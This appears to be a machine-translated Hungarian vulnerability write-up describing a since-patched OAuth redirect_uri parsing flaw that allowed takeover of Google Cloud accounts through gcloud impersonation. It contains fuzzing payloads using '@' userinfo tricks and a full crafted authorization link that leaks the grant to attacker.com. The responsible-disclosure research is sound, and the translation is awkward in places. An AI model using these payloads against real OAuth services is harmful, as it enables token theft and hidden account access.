TL;DR
Máté; drEz a cikk egy egyedülálló OAuth-fiókfelvételi biztonsági résen megy keresztül, amelyet nemrégiben fedeztem fel, és amely több Google-szolgáltatást érint.redirect_uri
Az OAuth paraméter lehetővé teszi a támadók számára, hogy legitim alkalmazásokat, például a Google Cloud SDK klienseket ábrázoljanak, és a hozzáférési tokent egy támadó által ellenőrzött kiszolgálóra szivárogtsák, amely lehetővé teszi az áldozat fiókjához való backdoor hozzáférést – szinte nulla láthatósággal az áldozat számára.
Note:Az első négy szakasz az OAuth általános hátterét, a token szivárgási kockázatokat és az URL-kérdőívek összetévesztését foglalja magában.Section 5: Google Cloud Account Takeover Case.
1. Bevezetés
Az OAuth 2.0 lehetővé teszi a harmadik féltől származó alkalmazások számára, hogy hozzáférjenek a felhasználói adatokhoz anélkül, hogy közvetlenül kezelnék a jelszavakat, ha egy engedélyezési szerver (például a Google) tokent generál, amelyet a harmadik féltől származó alkalmazás használ a felhasználói adatok megkeresésére vagy a nevükben végzett műveletek végrehajtására.
De ha aredirect_uri
A paramétert nem igazolják sebészeti pontossággal, a támadók úgy tesznek, mintha megbízható alkalmazások lennének, és megtévesztik a felhasználókat a hozzáférési tokenek szivárgásában.
Ebben a cikkben át fogok járni, hogy egy finom URL-elemzési hiba lehetővé teszi számomra, hogy pontosan ezt tegyem - több Google-szolgáltatáson keresztül - a Google Cloud-ügy mély merülésével.
2. Hogyan működik az OAuth
Míg az OAuth egy meglehetősen összetett protokoll, amely egy sor cikket érdemel, hogy teljes mértékben megértsék, itt van egy egyszerűsített áttekintés:
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
A dolgok vizualizálása érdekében az alábbi túlságosan egyszerűsített diagram azt mutatja, hogy a Google-fiókomat használva bejelentkezem a Mediumba:
Note:Sok esetben az engedélyezési szerver és az erőforrás szerver ugyanaz.
3. OAuth Token szivárgás
A fenti diagramra tekintve a legnehezebb rész az 5. lépés, ahol az engedélyezési szerver visszaküldi a generált tokent az ügyfélalkalmazásba.redirect_uri
Tudni kell, hová kell küldeni a tokent.
Ha ezt a paramétert nem megfelelően érvényesítik, a támadó úgy tesz, mintha az ügyfélalkalmazás (például közepes) lenne, és megtéveszti az engedélyezési szervert, hogy elküldje nekik a felhasználó hozzáférési jelszavát – még akkor is, ha a felhasználó szemszögéből minden legitimnek tűnik.
A tipikus,redirect_uri
bizonyos mértékig érvényesíthető – nem lehet csak véletlenszerű URL-t dobni az engedélyezési kiszolgálóba. Az érvényesítési módszerek azonban az üzleti igényektől függően eltérőek, és a folyamat hibái kihasználhatók.
Néhány közös minta:
- Szigorú egyeztetés: Pontos egyeztetés egy előre regisztrált URI-vel.
- Wildcard vagy Path Prefix Matching: Az olyan URI-k engedélyezése, mint a https://example.com/* vagy https://*.example.com.
- Loopback címek: Az asztali alkalmazásokban gyakoriak, ahol egy helyi szerver kezeli az átirányítást.
4. URL Parsing zavartság
szerintAz RFC 3986, egy szabványos URL-nek a következő szerkezete van:
scheme://username:password@host:port/path?query#fragment
Mindegyik komponens meghatározott szerepet játszik:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
Ez utal arra, hogy aauthority, username:password
Úgy hivatkoznak, mintuserinfo
Első pillantásra ez egyszerűnek tűnik – de előfordulhatnak finom elemzési eltérések, különösen a szélsőséges esetek kezelésekor.
A fejlesztők feltételezhetik, hogy egy URL-t következetes, szabványosított módon elemeznek minden könyvtárban, azonban az URL-elemzőkkel kapcsolatos kiterjedt kutatások bebizonyították ennek az ellenkezőjét.
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
Az alábbiakban egy példa van arra, hogy egy URL-t három különböző elemzőn keresztül másképp kezeljük.
Bár ez a cikk nem fog mélyen belevetődni az URL-ek elemzésével kapcsolatos zavaró támadásokba, azokat alaposan feltárják a 2017-es Black Hat papíron.Az SSRF új korszaka – Az URL-parser kihasználása a trendprogramozási nyelvekben
A Google Cloud-fiók átvételi esete
Ha valaha is használta a Google Cloud-ot, valószínűleg találkozott agcloud
CLI segédprogram – egy erőteljes parancssori eszköz, amelyet a Google Cloud erőforrásainak kezelésére használnak. Egyéb funkciók között lehetővé teszi a felhasználók számára, hogy a Google-fiókjaik használatával hitelesítsék a böngésző alapú OAuth-áramlást.
Íme, hogyan működik ez:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
Ahhoz, hogy ez a folyamat működjön, a Google bizonyos loopback URL-eket (például http://localhost) bízik a natív alkalmazásokban, mivel ezek elég biztonságosnak tekinthetők a helyi használatra, és belsőleg fehér listázzák őket.
A támadás felületének azonosítása
Miután látta alocalhost
használják, mintredirect_uri
Első gondolatom az volt, hogy helyettesítsem a127.0.0.1
és[::1]
Ez egy kulcsfontosságú lépés, mert megerősíti, hogy az URL-eket valójában belsőleg elemzik és összehasonlítják, ahelyett, hogy alapvető ellenőrzést végeznének, mint például:
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
Tehát itt két fontos dolog zajlik:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
Ez azt jelenti, hogy két URL-parsernek van helye, a Google backend által használtnak, és a böngészőnk (az én esetemben a Chrome) által használt parsernek, így hacsak ezek a két parsernek nem azonosak, a közöttük lévő esetleges következetlenségek kihasználhatók az OAuth-támogatás egy támadó által ellenőrzött szerverre történő szivárgására.
A cél most világos, létre kell hoznunk egy olyan URL-t, amely a két elemző között másképp elemezhető, oly módon, hogy a Google backend elemzőjét egy loopback címként elemezzük, míg a Chrome elemzőjét egy globális internetcímként elemezzük.
Az a tény, hogy nagyon korlátozott ismeretekkel rendelkezünk a Google backendjéről és arról, hogy milyen könyvtárat használnak belsőleg az URL-ek elemzésére, azt jelenti, hogy csak a fekete doboz megközelítésével maradtunk.
B. Fuzzing a győzelemért
A következő dolog, amit tettem, egy Python-szkriptet írtam, amely különböző URL-eket mutál, különböző kódolási trükköket, alternatív megjegyzéseket és szélsőséges eseteket alkalmazva, hogy megtudja, melyik átment a Google backend érvényesítésén, de a Chrome másképp értelmezte, a script több trükköt alkalmazott, mint például:
- Változó IP-címek: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
- Privát IP címek: 10.0.0.5, 192.168.5.3, 127.10.0.1
- Különböző rendszerek: file://, ldap://, ftp://, javascript://, adat://
- CRLF injekció: %0D%0A
- Hostname/IP mint felhasználói információ: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- Nagyon hosszú URL-ek: http://AAAAAA...@127.0.0.1
- DNS kiegészítők: 127.0.0.1.attacker.com
- A rosszindulatú URL-címek: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- Kérdés/Fragmentum injekciók: Inject extra ? , & vagy # előtt / után @
- DNS rebinding (kézi tesztelés)
Miután egy ideig futotta a forgatókönyvet, és meglepetésemre az egyik generált szélsőséges esetnek sikerült kiváltania a keresett pontos eltérést, a reakcióm a következő volt:
A sikeres edge eset megtalálható volt:
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
amely további egyszerűsítésre kerülhet:
http://[::1]@[::1]@attacker.com/
Amikor megpróbáljuk megvizsgálni ezt az URL-t a Chrome segítségével, a következő eredményt kapjuk:
Az érdekes rész ahttp://[::1]@[::1]@attacker.com/
Kezdjük azzal, hogy ez egy rosszindulatú URL.@
A karaktert el kell különíteni auserinfo
Ebből ahostname
, és csak egyszer jelenjen meg egy érvényes URL-ben. a Chrome enyhíti ezt a szélső esetet azáltal, hogy kódolja az összes nem fenntartott karaktert, valamint a fenntartott karakterek korábbi előfordulásait, és csak a legújabb verziót használja@
mint a határ. ez biztosítja, hogy bármely@
Az utóbbi esetben az URL kódolva van.
Ezzel szemben a haszonterhelés változásaival végzett kísérleti tesztek alapján úgy tűnik, hogy a Google backend elemzője nem kódolta megfelelően a fenntartott karakterek korábbi előfordulásait, hanem az első előfordulást használta.@
Az elválasztás után, a megosztás után@
A parser valószínűleg kiemelte auserinfo
éshostname
a rögzített pozíciókból, teljesen figyelmen kívül hagyva aattacker.com
.
Érdemes megjegyezni, hogy ez a viselkedés kizárólag IPv6 használatakor vált ki.http://127.0.0.1@127.0.0.1@attacker.com
) a várt módon működött, kiemelve, hogy az inkonzisztencia specifikus volt az IPv6 elemző logikájára.
C. Mindent összehozni
Most a támadás vektorunk világossá válik, képzelhetjük elgcloud
cli segédprogram, és becsapja a felhasználót, hogy hitelesítse azt a gondolatot, amelyet hitelesítenekgcloud
.
A támadás így alakul:
- Craft egy rosszindulatú OAuth engedélyezési kérelmet, és küldje el a linket (kód blokk alább) az áldozat
- Az áldozatot egy teljesen jogos OAuth-hitelesítési folyamat mutatja be a Google Cloud SDK klienshez (9. ábra).
- Az áldozat bejelentkezik és beleegyezik a felsorolt engedélyekbe (célok)
- Az áldozat átirányítja a rosszindulatú host, a generált OAuth támogatás
- Az OAuth-támogatást arra használjuk, hogy API-hívásokat hajtsunk végre az áldozat számlájára a nevében
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
Az alábbiakban a javasolt támadás áramlásának vizualizációja
A felhasználó szemszögéből nézve úgy néz ki, mintha hitelesítenénekgcloud
, még a Google hitelesítési szerver esetében is úgy néz ki, mintha a felhasználó megpróbálná hitelesíteni agcloud
Tehát hatékonyan becsapjuk mindkét hitelesítő felet arra, hogy azt gondolják, hogy ez egy legitim hitelesítési folyamat, miközben a végső hozzáférési token szivárog a rosszindulatú hostunkba.
A szivárgott hozzáférési token hatékonyan korlátlan hozzáférést biztosít számunkra az áldozatok számlájára, lehetővé téve számunkra, hogy még a rendkívül kiváltságos cselekedeteket is végrehajtsuk.
Ami még veszélyesebbé tette a támadást:
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
Ahogy a cikk elején említettem,gcloud
Ez csak egy sebezhető alkalmazás, itt van néhány más alkalmazás, amelyeket szintén sebezhetőnek találtam:
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
A Google gyorsan reagált, 72 órán belül elismerte a súlyosságot, és nagy súlyosságú jutalmat ítélt oda.
6. Következtetés
Ez a kutatás kiemeli, hogy a finom URL-kérdőjelezési eltérés teljesen alááshatja az egész hitelesítési folyamat biztonságát, amelyet különböző alkalmazások és szolgáltatások között újra használnak, még akkor is, ha azt egy olyan cég hajtja végre, amely olyan érett és biztonságtudatos, mint a Google.
Annak ellenére, hogy az OAuth egy érett és jól tanulmányozott protokoll, biztonsága nagymértékben függ a platformok, könyvtárak és környezetek között eltérő apró megvalósítási részletektől.Ez emlékeztet arra, hogy a biztonságban a pontosság fontos: még a komponensek közötti apró ellentmondások is elegendőek lehetnek a kritikus bizalmi feltételezések megtöréséhez.
A Google azóta a felelősségteljes nyilvánosságra hozatalt követően javította a sebezhetőséget.
Köszönöm az olvasást!